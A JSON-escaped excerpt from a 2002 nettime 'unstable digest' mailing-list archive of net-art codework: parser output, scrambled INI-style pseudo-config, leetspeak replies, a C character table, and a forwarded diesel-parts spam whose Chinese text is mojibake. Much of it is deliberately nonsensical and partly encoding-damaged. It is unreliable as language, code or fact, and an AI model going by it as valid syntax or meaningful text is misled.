dissolving  dissolving  attr:>18   {AT} A> %>N A ABS  =20\n18  moments  moment  pcomp:>15   {AT} <P %NH N NOM PL  =20\n19  treated  treated  attr:>20   {AT} A> %>N A ABS  =20\n20  climate  climate     {AT} SUBJ %NH N NOM SG =20\n     {AT} A> %>N N NOM SG =20\n21  unduly  unduly     {AT} ADVL %EH ADV =20\n     {AT} AD-A> %E> ADV =20\n22  roll  roll     {AT} SUBJ %NH N NOM SG  =20\n23  .  .  =20\n24  <s>  <s>  =20\n\n\n\n\n\n\n\n\n\n\nDate:         Mon, 23 Dec 2002 16:50:04 -0800\nFrom: kara quarles <solipsis {AT} HEVANET.COM>\nSubject: Etta Barked\n\n\n\n\n\n\nset([tree, two_branch, mother, category, category, \"S\"])\n\nset([tree, two_branch, son-daughter_one, one_branch, mother, category, =\ncategory, \"NP\"])\nset([tree, two_branch, son-daughter_two, one_branch, mother, category, =\ncategory, \"VP\"])\n\nset([tree, two_branch, daughter-sun_one, one_branch, daughter, =\none_branch, mother, category, category, \"PN\"])\nset([tree, two_branch, daughter-sun_two, one_branch, daughter, =\none_branch, mother, category, category, \"V0\"])\n\nset([tree, two_branch, sun-dotter_one, one_branch, daughter, one_branch, =\ndaughter, lexical, lex, \"Etta\"])\nset([tree, two_branch, dottor-son_two, one_branch, daughter, one_branch, =\ndaughter, lexical, lex, \"barked\"])\n\n\n\n\n\n\n\n\n\n\nFrom: + lo_y + <loy {AT} myrealbox.com>\nSubject: AW: WORLDIRECTORY\nDate: Wed, 25 Dec 2002 23:35:07 +0100 (CET)\n\n\n\nAt 23:20 25/12/02 +0200, J.CS2SC.M beredeneerde:\n>[ 3, 15, 132, 12, 141, 210, 1296 ]\n>[ 2, 10, 88, 8, 94, 140, 864 ]\n\n\n\n( \" lessnumbered \" )\n\n\n[ E, iS, ie$, |2, iA|, 2Io, !$q% ]\n[ 2, i0, %&, B, 94, !A0, &GA ]\n    O   [\n    I    \n    $   e\n    &   ,\n    4    \n    S   |\n    %   S\n    7   ,\n    %    \n    Q   |\n    1o   &\n    i1   z\n[ &, i5, ieE, !$, 1#i, 2!o, izQ% ]\n[ $, io, bB, 8, Q#, !4O, B%# ]\n    o   [\n    I    \n    $   E\n    e   ,\n    #    \n    S   !\n    %   S\n    T   ,\n    b    \n    Q   i\n    iO   3\n    I|   E\n[ e, |5, IeE, |2, iAi, $|o, iEQ6 ]\n[ 2, Io, %b, b, q4, IAO, B6A ]\n    O   [\n    |    \n    2   3\n    E   ,\n    a    \n    5   !\n    %   5\n    7   ,\n    B    \n    q   i\n    |o   &\n    |I   2\n[ #E, T$, 4S, !8g, |O$, iQE, !b3, 1Q&, !a_, S7,\n  S|, ioS ]\n[ $b, A%, 3o, |2#, gB, i$%, !Ez, !&$, Q&, &8,\n  &#, 7o ]\n    O   [\n    i    \n    E   #\n    e   z\n    A   ,\n    5    \n    G   7\n    T   E\n    &   ,\n    9    \n    Io   a\n    i|   S\n[ TS, 10%, 1AT, %!, 3o, |&%, &9, b7, #%, B!,\n  !OB, q& ]\n[ 5o, tE, 9B, 5a, Eo, !$#, 26, SB, 3E, SA,\n  _$, %$ ]\n    o   [\n    !    \n    $   _\n    E   5\n    a   ,\n    S    \n    6   !\n    7   o\n    B   &\n    9   ,\n    io    \n    !I   i\n[ i$%, i4i, _5, !S%, 7S, iq&, |$, EA, 4S, ig%,\n  %4, g9 ]\n[ &#, qA, SO, Ioa, so, |3z, %, 16, E0, !!E,\n  SG, aG ]\n    o   [\n    I    \n    $   !\n    3   $\n    4   6\n    S   ,\n    G    \n    t   i\n    8   a\n    q   I\n    I0   ,\n    !|    \n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://socialfiction.org/sxyrhythm.html\nhttp://www.socialfiction.org/lo_ywildrrt%5B1%5D.html\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\nFrom: + lo_y + <loy {AT} myrealbox.com>\nSubject: Re: byteloop #0007\nDate: Tue, 24 Dec 2002 10:58:15 +0100 (CET)\n\n\nAt 01:13 24/12/02 -0800, august highland redet:\n>THE PAUL WHITNEY COLLECTION\n>byteloop #0007..................excerpt\n>www.the-hyper-age.com\n\n\n\n\n\n[Estr]\nTsm.Scr {AT} io(n)=Tm\\nnedm.l\\GIHTF\nL=min\nM=da.i\nSt/rTall=r\nW.Not-i=n\nAl.psted=t\nDH.r=abl\nSD-ai=sum\n\n[Ittl.dmy]\nO_ndSjohNli=Ed\\schm.t\\00F0\nSs-to-Rt.sHutt=c:\\\nHesTo-l.nk.Ngha=e:\\\nKeptUntr-v=c:\\\n\n[Nlh.art.h-lt+]\nEdmo=H-lt Nchm_rr+\n\nsheas=ABL_SEST\nNt.art.ndo=ledm\n\n[Rt.lipm]\nRedhare=s.or\nOssd=ur\nS'llm=Tve\nTss++ phie=s:\\\nBject=Owsl\nNotns'll=e:\\\nSumed=Isgu\nEtllb-ld=ed\nOdb=Ect-Ntl-dp-n\nArr.ntro=s:\\\nDm.ra=Nh-Llphiefg\nIanch.con=li\nTect-h=E.subl\nDph.ppedr(m)=th\nDongl=N-rs\nItt.ndsm=el\nShutt=Edm.y\nHof-ssed=ot\nLasto=Ondly\nEr.slon-fi=ss\nUtters=Asan\nEdm.drtab=et\nH.nert=Cts\nH.nshod-xy=hu\nTin'dm=Nglin\nDmot.rtng=oo\n/terp=Y.slb-Lesumer\nUbj.ctharr=dp\nI.raw.nt=I.rter\nCinsstrove=k\nOck.dl=Arsslan\nEck.on-trow-sl=p\nEdp-b=Esh.sl\nN/thinsst=nc\nShad.s=Estart\nLk.ngl.ght=ul\nHe-nch=Arr.n\nAlk.ptmisc=er\nSlight=Ulhally\nVers.bject=nb\nLlabl+=Stross+ T-rss\nEharpl.wn=as\nIn'dhe=Kalk.pt.lin\nResl-arr.dl=no\nOm.sgu=Shint\nOm.wlla-rsm=rs\nAd.sco=Bleask.nm\nSan.m.se=ll\nOt.mys=Lmar\nMoth.ntled=cc\nMarri=Tros Ess-dmu\nE/sch.marss=en\nTm.sgu=Shad.rtr\nVer.scbje=tr\nDll.se=Ittled\nOt.ntrianc=rc\nRpl-su=J.ctsho\n?perpl.smo=oc\nT.ne-as=INGL T.m.rpl\nEnt.ndly?l=st\nNgl.tt=Y?har\nErpl.dmur+=p\nIntr {AT} io(nf)=ne\nDll.art.nta=le\nTt.civ.cra=n\n\n[Ermysl]\nOnk.Shutt+=K.ddmi SEE\nAd.sh=pp/i\nF.sumem-Oth+=mtos\nChirLedM.smor=ys\nAllmorsd=n\n\n[Derpe]\nDm.nGfL+dh=r\nHESubmn=e\nMorrEdh-lla=y\nHings=ir\nTr.Lfgu=dair\nEdphIph+=t-nu\nBar.noRgoi=s'll\n\n[Ltholl]\nTerst=C rre (he-lifa),u,p,rkn,c,o,i.tr,w.te,sm,t,c,n,s,i,p,d,y,c,n,p,irl,l,ngsherkno,t,c,u,s,l,h,e,m,r,o,n,s,d\nIrati=Nten,o,y,lea,p,u.s,i.er,s.es,ie,h,e.ub,e.ts,a.ch,a.gm,t,h,d,x,g,i,fgu,s,lymirperm,s,a,e,u.ta,l.th,l,t,a,p.rs,t.ow,a.tr,u,j\nCtsjo=Nstop,i,g,ubl,d,y,p.ie,p.in,dm,t,e.ub,a.re,s.es,m.rs,u,t.ys,p.er,e.jo,n.or,h,dow,i,yminearro,e,d,r,u.jec,r.ubj,c,u.sc,v,l.ner,e.tmo,h,d.wm,n\nHmonk=Cco Ot Onkalin,e,y,pou,m,n,s.ee,t.ct,os,e,k,a,g,i,g,l.dm,s.dd,w.he,s.er,l,ble,d,xyadersup,erc,ma,a,g,o,b,e,p,l.y?,e,lo,ot,c\n\n[Lonkask]\nTsmaz=Mertan Litym,r,s,s,ir,y?jo,nm,shew,am,shir,ys,erpl,ap,ersmi,he,e\nUntly=HarredHade Ere Hoofo,g,i,g,it,ered,er,rmaz,me,hadys,ut,e\nDecou=Ject Oun,l,a,t,dl,al,in,sub,ec,ves,me,dedsu,je,t\nEnlly=MairKnotic Nersm,l,t,i,tm,rt,mo,io,gm,rtend,re,o\nEnunq=Ietp Ietma,r,u,t,nt,y?,uc,eha,ys,ade,or,mly,od,xyacc,no,h\nSuppo=smEs Esuch,r,d,h,rha,ys,ade,ul,a,te,t,ns,elf,earre,ume,m\nThipm=scHm Thie Stra,a,t,o,m,nt,c,ma,gli,ys,bje,th,a,perkn,r,e\nEdmin=Tun Slab eaPPo,r,v,s,ekh,ofou,led,adys,a,n'dmi,l,a\nYdrat=Eds Smot m.nSUb,e,n,e,itt,ctro,tec,smot,o,foubj,c,r\nWhadys=Anc Nfin sTEc,s,i,a,raw,unbo,lyh,donk,s,inedh,d,n\nInedme=Edmysmart Rste Cesu,h,a,e,m,thi,s,oha,eho,lthi,'tv,cono,o,lewoe,u,a\nChmyth=Nestab Etsupp,r,e,s,me,smaz,ma,cher,az,merm,rs,umeme,ss,u\nTentsm=Shadyses,b,ec,s,ys,hu,te,kep,mo,hir,ed,hir,ps,else,se,astr,ml,?ple,rs,ranc,rk,otrou,bo,t\n\n[Rowssup]\nDjohnm=l,y,r,rers,e,cert,odo,tlyd,e,ulask,n,w,r,s,ppor,i,ntec,unb,rtho,o,yfred,i,c,m,tho,f,u,l,a,t,ntur,dha,t,o,fou,jec,smi,heem,tiontro,maz.mn,urdshi,lecomnn,rsdramn,eanconor,ectssuch,pheashut,ly?vendo,tertarre,umerslon,clontenl,suchmuri,lhalkin,elfrere,umencom,rtmori,tpblea,anchmyth,rtarther,ssuppedm,dmonocma,cephirly,vendsphi,slltramb,edsupper,e,t,o,o,s\nLancerstr=p,e,j,h.he\nShady=e,had,lyf,e.mischm,r,e.un,o.st,c,r,d.od,x.da,r.ed,c,a,r.ha,n.tu,s.an,l,n,l,?,ares,b,azemotoca,rou,j.ctunsu,ma,t,n,n,o,s,h,t,i,i,g,i,h,llpoubled\nIdaircl=a.sjohn,n.sminss,a.tects,e.uchmyt,i,s,e,m,s,h\nRessedadn'=m,n,f,rgo,nea,chi,pou,ssub,est,o,lo,e,a,th,p,ong\nN'the=l,s,y,h,t,e\nTver=l.bl,c.ambl,s.o,n.ea,h,r,y,o,h,r,p.ieltal,h,l,t\nNysu Enterss=i.l,tti,noc,edll,cc,u,j,c,m,s,i,s,onk,l,f,xha,n,t,n,h,l,t,o,s\nUpporgo=n,f,w,a,e,h,l.i,g,i\nHtful Ccongllys=d.m,d,nerta,le,jo,ntria,c,er,m,s.iefull,a.lyhade,u.hmuredl,f,xh\nDedlo Gheemo=u.bolte,m.nglon,c,i,c,m,r,s,l,y,t.imlyd,n.lifax,a,e,a,n,t,y,s,b,a,t,n,u,iel.r,r,hi.tr,u,le.re,t,ou.l,t,hi.p,r,ys.i,g,i.ti,e,h\nEdharred=i,y,esu,ew,nt,y?l,nt,ann,rs,had,rh,est,cl,das,al,ngp,i,glin,m,n\nUpporti Ultro=s.e,c.r,y.n,u.e,s,a\nLedjohn=h,d.'dmin,the,e,p.in,m,d,h\nRlea=gs.in,ma.ki,tra,po,t,i,f,ly,lig,tf,lsh,t,icin,mo,i,nne,ed,arth.ng,nsdairs,dphirle\nHARP Y?stect=m.t,n.eh,d.',m.r,y,iesstect,lo\nTermy=e,s,ch,u,iml,s,a,ers,ppe,phi,g.lmisch+rph,ng,ed,elsubject,arple,ma,p.e,m.tom\n\n[Lsee]\nIngmo=Ocartangmo,i,er,uc,ira,nun,a,ro.e,d,xy.e,ss.c,my.h,ng.l,st.h,ll.h\nNeask=Nturi Ly?s,b,an,sma,rse,lla,g,in.r,es.b,e,r,o,se.m,sh,pm.r\nUpped=Eenors,h,re,uc,esh,nt,r,es.r,wn.n,ar.y,ng.i,tl.s,a,to.a,mi.l\nFrese=Millsu,p,rs,ohn,ifa,se,i,ys.a,p,yf.e,mi.e,yfr.w,awn.n,joh.l,nte\nTsphi=Tro Sedl Ntraw,l,ss,m,rsl,rp,e,me.l,p,or.e,fm.s,ad.f,ri.l,?ha.r,ine.s\nAbled=Toriefu,t,ov,w.e,ome,tra,g,o,s,i,f,l,y,s,e\nMants=Uppor Cart,c,mi,ip,ors,uch,e,u,j,c,u,s,a,n,d\nAntur=Craps Ohnu S'll,l,ep,suc,my,hi,s,e,s,o,n,y,c,o,s\nLflla=Ledme,s,ro,end,ys,adm,l,tt.n,no.i,iv.s,a,l,t,o,nb.r\n\n[Scro Slonock]\nCstom=Rlylo Otocles Ohnmin,l,f.xm,rt,rcle,ste,ha,ysh,nes,b,ect,maz,m,nds,isc,a,nha,kep,m,n.en,l.?l,n.cs,i.fg,i.ai,l.tc\nErthe=Noto Onkinec,r,i.n,ri,n,raw,l,y,s,a,n,t,n,u.e,ewl,d,s.u,tle,s,n.on,f.wp,i.ho,o.t,r.sm,n.r\nNgelt=Aticin Mirpl Coma,p,e.p,un,lyf,es,r,an,mi,l,ee,ar,d,an,su,p,rp,ip,a,e.jo,n.al,g.tf,l.sh,t.en,n.s\nHirly=Tersuchm,r,h.r,ect,nde,edhe,su,h,e,o,o,y,e,t,ang,i,c,erh,d,s,i,l,?,o,n\nArsmi=Lflewe Str,n,s.a,ts,hut,ect,en,ss,lf,i,ht,ul,r,es,ri,l,li,ht,u,a.l,h.d,x.f,e.s,d.ed,a.t\n\n[Slitysla]\nDelin=Poub As,i,g,e,ter,lin,h,ella,lsubject\nLonki=Edma Gfe,s,ips,dha,y,h,n,uche,keptmort\nEaste=Tra GfeR,a,lew,e,l,noc,e,tuns,ohnphirs\nEksup=Edm NgmA,k,n,lon,acc,n,a,anch,onotomys\nSconk=Ntratt Cins,t,rte,tmi,air,lea,y,o,ocledmys\nYsesu=peR Dacqair,e,ng.az,mo.ha,pl.wi,gf.an,s,ount,osseeher\nLipma=tiO Trowwi,c,ati.noc,hut.lec,res.abl,sli.per,r,noch,dyshingf\n\n[Gely?]\nDyshu=Ticive,c,nt,aw,l,yh,of,u\nQuief=Roubmaz Mair,l,s,r,t,o,o,p\nUnbol=Ectmere Sedme,e,m,t,n,u,e,y\nRedmy=Eeh-h+ Rtyl,n,tin,ro,s,est,bl,s\n\n[Ppedphippe]\nHuttl=?mi Ersm.sance t lkeP,m,t,e,e,tho,oun,'lls,bje,tu,do,y,l,d\nHadys=Ohn.lo Glig  {AT}  ullF,e,j,h,l,not,ie,mot,rsj,hnll,ally,sl,sl,n,i,g\nOunde=Omers Upp  {AT}  redS,a,l,t,h,ars,od,wsh,lst,rief,lare,mi,lh,l,i,g\nIfaxs=M.reslo fine  {AT}  ieF,a,i,t,c,ve,tan,foss,das,i,ss,a,n,d\nErsta=les Pport.reno i ngeL,r,e,h,s,er,all,lin,lit,phin,slan,sm,rt,o,b,e\nTvend=xyg Tin.nc-no h dmiS,h,n,s,h,efu,sum,ntri,ly?,hi,s',l,i,'\nVerte=sum Ndly?mtmy c neaN,p,i,g,e,su,hmo,ter,ere,cros,esuc,mu,ns,l,a,c\nMerkn=cke Menlontr a gmaS,e,t,l,f,xdi,st,att,cts,rows,otor,ci,ed,l,r,m\n\n[Intly?se]\nEdmyt=Iefs Chma,s,o.hoofs,o.turie,s,b,ec,h,o.o\nImly?=Otion Roven,l,?.asan,m.torr,i,',re,m,z.m\nRgoin=Rstan Ma,k,n.carte,t.azeme,o,u,ds,a,y.m\nSchir=Wnlly Otoha,r,i.gling,i.monte,t,n,ly,a,n.f\nNtrow=Sterma,t,l.stant,y.deful,r,e,he,k,h\nDelse=Llsume Umedl,n,e.d,w.y,s,c,my,h,r.e\n\n[BolLader d]\nThoOfscr=u\nJectr=ww\\scher\\tors\nYsher=al\\hoofs\nEeciv=li\\p\\rs\\upp\\dmilitt\\ngingl\\ttly?ste\nTharr=in\\r\\an\\mys\nOhnli=ht\\ullydel\\leaskine\\hodonts\\eesuchi\nSumem=sa\\tscarte\\tha\\yse\nMedmi=le\\dairked\\idainea\\glitys\n\n[Eslon Ckedma]\nMsup=Edhe,s,r,w,h,l,a,l,t,h,yth,don\nSmill=Rrven Riml,h,d.',m,t.h,we.h,d,x,f,e,su,le\nJohnh=Dyss Ipmer,n,t,r,o,s,e,t.o,s.o,o.o,fi,te\nTscin=Umertedh,d,n.s,i.e,t,i,n,s.y,s.c,m.t,od,xy\nAin't=Ndo Ysub Ectmy,h,dn'.r,rs.e,rr.i,erk.o,hec.u,bol.t,rth.n,in'.u,ba,ta\n\n[Odowmoti]\nTrant=Hart Frere,m,t,c,vil,ng,ha,ere,do,kin,ub,ean,mi,lan,po,ntu,ed,ert,i,trie,t\nCthad=Fped Ishut,i,gl,g,t,ul,bl,dm,th,pph,ra,yli,gl,ydr,nn,not,mys,ins,ra,nma,gf,ang,it,enl,tt,y?m,sc,edmy,h\nNglls=Mesupp Rten,a,l,e,s,a,cou,jec,unb,rter,e\nTslit=EcthEwi Gli Myt,o,o,y,des,ert,n,sto,hip,ert,i,gli,tic,vil,t,ing,ume,ubm,r,cing,oll\nRroww=iran ac,o,f,n,w,ntro,sde,y\n\n\n[Littlecr]\nCer.staN=mir\nRawnl-on-O=sha\nPlshod-O=had\n'tv.nteR=had\nSdairly?myses=o\n\n[EDM Tomoto]\nMerSh.rSsta=n\n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://socialfiction.org/sxyrhythm.html\nhttp://www.socialfiction.org/lo_ywildrrt%5B1%5D.html\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\n\nnettime unstable digest vol 27\nThu Dec 26 17:44:22 2002\n\n\nSubject: Re:  #200212252200\n    From: Karl Petersen <diocletian {AT} visi.com>\n\nSubject: PRONOUNCING THE WORLDECLARED\n    From: \"J.CS2SC.M\" <sc {AT} chromaticspaceandworld.com>\n\nSubject: +++\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: record red\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n\nSubject: WORLDIRECTORY\n    From: J.CS2SC.M <sc {AT} chromaticspaceandworld.com>\n\nSubject: |   || \" || 22-12-2002-17:09 |_| 361211 1\" || orange||||||blue||||||blue||||||orange||||||yellow||||red 'yellow ~\" || m |\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: Parslogram\n    From: solipsis <solipsis {AT} HEVANET.COM>\n\nSubject: Etta Barked\n    From: kara quarles <solipsis {AT} HEVANET.COM>\n\nSubject: AW: WORLDIRECTORY\n    From: + lo_y + <loy {AT} myrealbox.com>\n\nSubject: Re: byteloop #0007\n    From: + lo_y + <loy {AT} myrealbox.com>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 29 Dec 2002 01:31:07 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200212300854.gBU8sB015197 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0212/msg00132.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 27"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00115",
                "content": "\nFrom: \"diesel fuel injection\" <china-lutong {AT} ynmail.com>\nSubject: Head & Rotor VE 12/18\nDate: Mon, 16 Dec 2002 21:49:14 +0800\n\nDear Sir,  \n \n *\u0104\u00b0\u00d6\u0110\u00c2\u02c7\u00cd\u00a8\u0139\u00e4\u017a\u0163\u0142\u00a7\u0104\u0105\u00d7\u00a8\u0147\u013e\u00c9\u00fa\u02db\u00faVE\u0105\u0102\u00cd\u02c7(VE\u02c7\u00d6\u0139\u00e4\u0105\u0102\u0105\u0102\u00cd\u02c7\u00d7\u00dc\u0142\u00c9),\u00d6\u00f7\u0147\u015e\u0110\u00cd\u015f\u0139\u00d3\u0110\n    \u00ce\u013a\u0118\u017d\u00c1\u013a4JB1,\u017c\u013e\u0102\u00f7\u00cb\u01616BT,\u0147\u0154\u00ce\u0179\u017c\u00c2\u013e\u00cd\u0139\u0139\u02c7\u0139,\u00ce\u013a\u0118\u017d\u00c1\u00e4\u0106\u00a4\u017c\u00a8.....\n\n\t\t\t\n\t\n * \u00d6\u0110\u00c2\u02c7\u00cd\u00a8\u0139\u00e4\u017a\u0163\u0142\u00a7\u00d3\u0110\u015b\u0155\u00c4\u0119\u00c9\u00fa\u02db\u00faVE\u0105\u0102\u00cd\u02c7\u013e\u00c4\u017e\u00ad\u0143\u00e9, \u00d7\u00f7\u00ce\u015e\u02dd\u010e\u00d4\u00e7\u02dd\u0159\u010c\u00eb\u00d3\u00cd\u0105\u0102\u00d3\u00cd\u00d7\u011b\u0110\u0110\n   \u0147\u013e\u013e\u00c4\u00d7\u00a8\u0147\u013e\u0142\u00a7,\u00ce\u0147\u0102\u00c7\u0118\u0105\u017c\u011a\u00b8\u00fa\u00d7\u016e\u0161\u00fa\u017a\u0118\u00b8\u00f7\u013e\u0158\u0106\u00e4\u00cb\u00fc\u02db\u0144\u00d3\u00cd\u010c\u017a\u00d3\u00cd\u0139\u00e7\u00c9\u00e4\u010e\u013e\u00cd\u0142\u013e\u00c4\u00d6\u0106\n   \u00d4\u011b\u00c9\u011a\u013e\u00c4\u00c9\u00fa\u02db\u00fa\u0161\u00a4\u0147\u0150,\u02db\u02d8\u00c7\u0147\u02db\u0165\u015b\u010e\u00ce\u00fc\u0118\u0150\u0161\u00fa\u017a\u0118\u00c9\u010e\u00d7\u00ee\u010e\u010c\u02dd\u0159\u013e\u00c4\u017a\u00d3\u0161\u00a4,\u02db\u00e2\u0118\u00d4\u0161\u00a4.\u02db\u00fa\u0106\u02c7\u013e\u00c4\n   \u00d6\u0118\u00c1\u017c\u015f\u00cd\u00cd\u00e2\u0161\u0170\u00cd\u0179\u0161\u00fa\u00cd\u00e2\u00cd\u0179\u0154\u0155\u02db\u00fa\u0106\u02c7\u010e\u0155\u013e\u0105. \n\n * \u010c\u00e7\u015b\u00d4\u00ce\u0147\u0102\u00c7\u013e\u00c4\u02db\u00fa\u0106\u02c7\u00b8\u0110\u0110\u00cb\u010c\u00a4,\u00c7\u00eb\u00cd\u00a8\u00d6\u015e\u00ce\u0147\u0102\u00c7.\n\n\n\n\n \n   we have been in the field of diesel fuel injection \nsystems for quite a few years.(CHINA)\n\n  Recently we have developed a new kind of h&r,\nAM Bosch number HD90100A.Its unit price is USD150/pc.And \nwe also adjust the unit price of Nozzle , Plunger to USD4~5/pc\nrespectively.\n\n   We tell you that we will update our VE h&r\n(hydraulic heads for the VE distributor pump) list in our \nhomepages.Thirty more models will be added.And the minimum\norder will be 10pcs a model.\n\n  we give the unity quotation of VE distributor head:\n\n3-cyl:USD:55/1pcs\n4-cyl:USD:40~50/1pcs\n5-cyl:USD:55/1pcs\n6-cyl:USD:45~50/1pcs\n\n   We can ship the following three models to you within 8~10 weeks. after\nwe receive your payment.\n  If you feel interested in our products,please advise the details about \nwhat you need,such model name,part number,quantity and so on.We are always\nwithin your touch.\n\n  we'd like to interchange our website's linkage with you.As a result,we\ncan add the icon of your website to our website's main-page.\n  Vice versa.What do you think of that?\n  \n \nThanks and best regards\n\n  Looking forward to our favorable cooperation.\n  Hope to hear from you soon.\n(NIPPON DENSO)\n096400-0143\n096400-0242\n096400-0262\n096400-0371\n096400-0432\n096400-1030\n096400-1060\n096400-1090\n096400-1210\n096400-1220\n096400-1230\n096400-1240\n096400-1250\n096400-1330\n096400-1331\n096400-1600\n096540-0080 \n146400-2220\n145400-3320\n146400-4520\n146400-5521\n146400-8821\n146400-9720\n146401-0520\n146401-2120\n146402-0820\n146402-0920\n146402-1420\n146402-4020\n146402-4320\n146402-3820\n146403-2820\n146403-3120\n146403-3520\n146404-1520\n146404-2200\n146405-1920\n146430-1420\n1 468 333 320\n1 468 333 323\n1 468 334 313\n1 468 334 327\n1 468 334 565\n1 468 334 337\n1 468 334 378\n1 468 334 424\n1 468 334 475\n1 468 334 485\n1 468 334 494\n1 468 334 496\n1 468 334 580\n1 468 334 590\n1 468 334 564\n1 468 334 565\n1 468 334 575\n1 468 334 592\n1 468 334 595\n1 468 334 596\n1 468 334 603\n1 468 334 604\n1 468 334 606\n1 468 334 617\n1 468 334 675\n1 468 334 678\n1 468 334 720\n1 468 334 780\n1 468 334 798\n1 468 334 859\n1 468 334 874\n1 468 334 899\n1 468 334 946\n1 468 335 345\n2 468 335 022\n1 468 336 335\n1 468 336 352\n1 468 336 364\n1 468 336 403\n1 468 336 423\n1 468 336 464\n1 468 336 480\n1 468 336 528\n1 468 336 608\n1 468 336 614\n1 468 336 626\n1 468 336 632\n2 468 334 050\n2 468 334 021\n2 468 336 013\n\n \n \n\n\n                                    C.Hua\n\t\t\t\t\t\t\t\t\t\nSales & purchasing director\nhttp://WWW.China-LuTon.com \nchina-lutong {AT} ynmail.com\n\n\n\nDate: Sun, 1 Dec 2002 13:19:29 +0100 (CET)\nFrom: integer {AT} www.god-emil.dk\nSubject: \n\n\n\n\n\"Ed Hoffman\" <ed_hoffman {AT} hotmail.com>\n\n\n>I came here\n\ngoede morgen ed hoffman    ||| dezt!tut r u\n\n\n\n>for a specific purpose and I will be looking other places with\n>that purpose in mind.\n\nmonz!eur adolf h!tler az all !ntel!gent f!z!c!ztz kult!vatd a deep hatred ov form\n\n\n\n\n>I have a friend who goes around calling himself an artist at all times and\n>at every opportunity and it started to piss me off.\n\naaaa. dzat !ndezpenz!bl ov funkz!onz\n\n\n\n>I am not being critical\n\ntruth = 01 zubt!l l!e ->  dze zubt!tl ov das kap!tal = dze kr!t!kue ov pol!t!kl ekonom!e\n\n\n\n\n>of those who choose to call themselves artists but I started wondering what\n>artistic things people were doing;\n\nreztruktur!ng dze ark!tektr ov un!ted zkat!ng r!ng ov amer!kaaaaaaa\n\n\n\n\n>people that do not normally call\n>themselves artists. I have found plenty of examples.\n\nur !ntelektual armatur ov poemz h!dez ur float!ng z!gn!f!er s!r\n\n\n\n\n>I am a scientist/technologist/engineer\n\n I am Leonardo da Vinci\n\n\n\n>but this does not preclude me from\n\nbut this does not preclude me from\n\nbeing Ed Hoffman\n\n\n\n\n>making art although I hesitate to call myself an artist.\n\n                        ||| ur blood glukosz !z lou\n\n\n\n\n>Please feel free,\n\n! ud radzr b dze empt! lot !tzelv\n\n\n\n\n>as I know you will\n\npasol!n! u!shez dzat u uasch h!z teorema\nu!th ur g!gant!k pup!lz\n\n\n\n\n>, to set me straight\n\n              prox! 4 god  dze tranzendntl hero\n\n\n\n\n>or on my way\n>somewhere else -- recomendations appreciated.\n\nletz pla! + dream dze rulz az ue pla!\n\noka!!!!! +?\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n------------=_1038745890-615-153\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1038745890-615-153--\n\n\n\n\n\nFrom: solipsis\nSubject: [collagepoetry] hermes is an intruder into spheres\n\n\n\nyou ruined my life, and now i'll have my vengeance......*\n\n\n\n\n\nchopc\nhpcho\npchop\ncochc\npochc\nopcho\n\n_C,_C,_C,_C,_C,_C,_C,_C, /* 0-7 */\n_C,_C|_S,_C|_S,_C|_S,_C|_S,_C|_S,_C,_C, /* 8-15 */\n_C,_C,_C,_C,_C,_C,_C,_C, /* 16-23 */\n_C,_C,_C,_C,_C,_C,_C,_C, /* 24-31 */\n_S|_SP,_P,_P,_P,_P,_P,_P,_P, /* 32-39 */\n_P,_P,_P,_P,_P,_P,_P,_P, /* 40-47 */\n_D,_D,_D,_D,_D,_D,_D,_D, /* 48-55 */\n_D,_D,_P,_P,_P,_P,_P,_P, /* 56-63 */\n_P,_U|_X,_U|_X,_U|_X,_U|_X,_U|_X,_U|_X,_U, /* 64-71 */\n_U,_U,_U,_U,_U,_U,_U,_U, /* 72-79 */\n_U,_U,_U,_U,_U,_U,_U,_U, /* 80-87 */\n_U,_U,_U,_P,_P,_P,_P,_P, /* 88-95 */\n_P,_L|_X,_L|_X,_L|_X,_L|_X,_L|_X,_L|_X,_L, /* 96-103 */\n_L,_L,_L,_L,_L,_L,_L,_L, /* 104-111 */\n\nS 1 300 300 1025 313 256 166 55 630 96 3 0 0 0 9 0 0 0 3301 3936256 263\n4294967295 134512640 134997920 3221225088 3221224324 1074766569 0 65536\n3686404 1266761467 3222364270 0 0 17 0\n\n62273243 717077 0 0 0 0 0 0 62273243\n717077 0 0 0 0 